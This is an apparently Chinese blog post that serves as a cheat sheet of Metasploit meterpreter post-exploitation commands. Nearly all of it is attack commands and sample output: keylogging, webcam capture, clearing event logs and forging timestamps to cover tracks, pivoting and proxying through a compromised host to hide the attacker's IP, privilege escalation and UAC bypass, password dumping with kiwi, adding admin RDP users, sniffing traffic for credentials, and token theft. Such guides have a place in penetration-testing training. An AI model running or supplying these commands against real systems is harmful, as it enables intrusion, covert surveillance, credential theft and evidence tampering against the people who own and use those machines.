msf之meterpreter命令

meterpreter 简介

  • Meterpreter 比系统 shell 更加灵活,功能更加丰富,例如监控主机,监控键盘,开启摄像头,麦克风,还可

    以灵活的获取你的操作系统信息。

  • 高级,动态,可扩展的 payload,一站式后攻击 payload;

  • 基于 meterpreter 上下文利用更多漏洞发起攻击;

  • 后渗透测试阶段一站式操作界面;

  • 完全基于内存的 DLL 注入式 payload(不写硬盘)

  • 注入合法系统进程并建立 stager;**

  • 基于 stager 上传和预加载 DLL 进行扩展模块的注入(客户端 API)

  • 基于 stager 建立的 socket 连接建立加密的 TLS/1.0 通信隧道;

  • 利用 TLS 隧道进一步加载后续扩展模块(避免网络取证

meterpreter 基本命令

前提是漏洞利用成功,payload 用的是 meterpreter

0x01. 系统命令

1)基本系统命令

background  #将当前会话放置后台,然后可以再运行其他模块进行提权

sessions    #sessions –h 查看帮助
sessions -i <ID值>  #进入会话   -k  杀死会话

getuid # 查看权限 

getpid # 获取当前进程的pid

sysinfo # 查看目标机系统信息

ps # 查看当前活跃进程    kill <PID值> 杀死进程

idletime #查看目标机发呆(无操作)时间

reboot / shutdown   #重启/关机

shell #进入目标机cmd shell

image-20201223161455628

2)uictl开关键盘/鼠标

一般在虚拟机上是操作不成功的

uictl [enable/disable] [keyboard/mouse/all]  #开启或禁止键盘/鼠标
uictl disable mouse  #禁用鼠标
uictl disable keyboard  #禁用键盘
image-20201223170718310

3)webcam摄像头命令

webcam_list         #查看摄像头
webcam_snap      #通过摄像头拍照
webcam_stream   #通过摄像头开启视频

image-20201223170905108

4)执行exe文件

execute -f 命令在目标主机上执行应用程序

execute -f c:\\111.exe
# execute -H -i -f cmd.exe    # 创建新进程cmd.exe,-H不可见,-i交互

5)migrate进程迁移

getpid    # 获取当前进程的pid
ps   # 查看当前活跃进程
migrate <pid值>    #将Meterpreter会话移植到指定pid值进程中,
kill <pid值>   #杀死进程

6)clearav清除日志

clearev  #清除windows中的应用程序日志、系统日志、安全日志,走的时候不要忘记

0x02. 文件系统命令

1)基础命令

getwd 或者pwd                         # 查看当前工作目录  
ls                                               # 查看当前路径下的内容
cd                                              # 切换目录
search -f *pass*                         # 搜索文件  -h查看帮助
cat c:\\lltest\\lltestpasswd.txt    # 查看文件内容
edit c:\\1.txt                               #编辑或创建文件  没有的话,会新建文件
rm c:\\lltest\\hack.txt                #删除文件
mkdir lltest2                              #只能在当前目录下创建文件夹
rmdir lltest2                               #只能删除当前目录下文件夹

2)上传文件

简单来说,你可以上传本机的任意文件到远程目标主机中

meterpreter > upload //root//daociyiyou.txt c:
[*] uploading  : //root/daociyiyou.txt -> c:
[*] uploaded   : //root/daociyiyou.txt -> c:\daociyiyou.txt

# 注意:使用-r参数可以递归上传上传目录和文件

3)下载文件

download命令可以下载远程主机上的文件

注意:Windows路径要使用双斜线

如果我们需要递归下载整个目录包括子目录和文件,我们可以使用download -r

meterpreter > download c:\\hello.txt /root/
[*] Downloading: c:\hello.txt -> /root/hello.txt
[*] Downloaded 1.00 B of 1.00 B (100.0%): c:\hello.txt -> /root/hello.txt
[*] download   : c:\hello.txt -> /root/hello.txt

4)timestomp伪造时间戳

timestomp C:// -h                            #查看帮助
timestomp -v C://2.txt                      #查看时间戳
timestomp C://2.txt -f C://1.txt         #将1.txt的时间戳复制给2.txt

image-20201223172437816

0x03.网络命令

1)基本网络命令

ipconfig/ifconfig     # 查看ip
netstat –an           # 查看开放的端口
arp                          # arp探测
getproxy                 #查看代理信息
route                       #查看路由

image-20201223172820261

2)portfwd端口转发

这个可能经常会用到

portfwd add -l 6666 -p 3389 -r 127.0.0.1    #将目标机的3389端口转发到本地6666端口

这个命令的意思就是把你目标主机的3389映射到你电脑上的6666端口,以后你连接127.0.0.1:6666就能连到肉鸡

image-20201223173803441

3)autoroute添加路由

run autoroute -h #查看帮助
run autoroute -s 192.168.159.0/24  #添加到目标环境网络,当你相连接一个网络发现不通的时候,可以设置一个路由试试,一般网络中没有设置围栏的情况下,是可以通的

run autoroute -p  #查看添加的路由

然后可以利用arp_scanner、portscan等进行扫描

run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389

image-20201223175235438

image-20201223175315759

4)Socks4a代理

autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理,就是把肉鸡当成代理

msf> use auxiliary/server/socks4a 
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run

然后vim /etc/proxychains.conf #添加 socks4 127.0.0.1 1080,这样你kali里面所有的软件运行,攻击的手段都

是走的肉鸡的代理,就做到了隐藏自己真是ip的效果了

最后proxychains 使用Socks4a代理访问

image-20201223175413768

0x04. 提权

1) getsystem提权

getsystem

getsystem工作原理:

①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。

②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。

③Windows服务已启动,导致与命名管道建立连接。

④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。

然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

image-20201223175520978

2) bypassuac

内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:

use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

如使用bypassuac.rb脚本:

msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run

image-20201223175735975

3) 内核漏洞提权

可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权

meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit

image-20201223175838344

image-20201223175858687

0x05. kiwi获取密码

在msf6中mimikatz已经不可以用了,The "mimikatz" extension has been replaced by "kiwi"

load kiwi          # help kiwi 查看帮助
creds_wdigest  # 获取账号密码

image-20201223165649143

0x06. 远程桌面&截屏

enumdesktops     #查看可用的桌面
getdesktop          #获取当前meterpreter 关联的桌面
set_desktop         #设置meterpreter关联的桌面  -h查看帮助
screenshot           #截屏
use espia             #或者使用espia模块截屏  然后输入screengrab
run vnc                #使用vnc远程桌面连接
image-20201223180311869

0x07. 开启rdp&添加用户

1) getgui命令

run getgui –h #查看帮助
run getgui -e #开启远程桌面
run getgui -u lltest2 -p 123456   #添加用户
run getgui -f 6661 –e   #3389端口转发到6661

getgui 系统不推荐,推荐使用run post/windows/manage/enable_rdp

getgui添加用户时,有时虽然可以成功添加用户,但是没有权限通过远程桌面登陆

2) enable_rdp脚本

run post/windows/manage/enable_rdp  #开启远程桌面

run post/windows/manage/enable_rdp USERNAME=oldboy PASSWORD=123456 #添加用户,默认会添加到管理员组

0x09. 键盘记录

一般在虚拟机上是记录不了的

keyscan_start     #开始键盘记录
keyscan_dump   #导出记录数据
keyscan_stop     #结束键盘记录

image-20201223183540486

0x10. sniffer抓包

use sniffer
sniffer_interfaces       #查看网卡
sniffer_start 2            #选择网卡 开始抓包
sniffer_stats 2           #查看状态
sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包
sniffer_stop 2            #停止抓包

这个包中有所有的肉鸡上网的数据,比如登录web站点,账号密码全部都在里面可以看到,用Wireshark可以打开

0x11 令牌操纵

这个非常有用,比如说我们在一个企业的域控环境里面,我本身是一个普通用户可以通过假冒令牌伪造成管理员用

户,然后不需要密码就能登录其他账号了

1) incognito假冒令牌

use incognito      #help incognito  查看帮助
list_tokens -u    #查看可用的token

impersonate_token 'NT AUTHORITY\SYSTEM'  #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\

或者直接shell
rev2self   #返回原始token

image-20201223192005404

2) steal_token窃取令牌

先查看进程后面的token值,然后找到管理员的token,然后再通过pid获取他的token

steal_token <pid值>   #从指定进程中窃取token   先ps
drop_token  #删除窃取的token

写在最后

文章内容部分引用:https://xz.aliyun.com/t/2536#toc-0

posted @ 2021-03-01 17:42  Mn猿  阅读(2063)  评论(0编辑  收藏  举报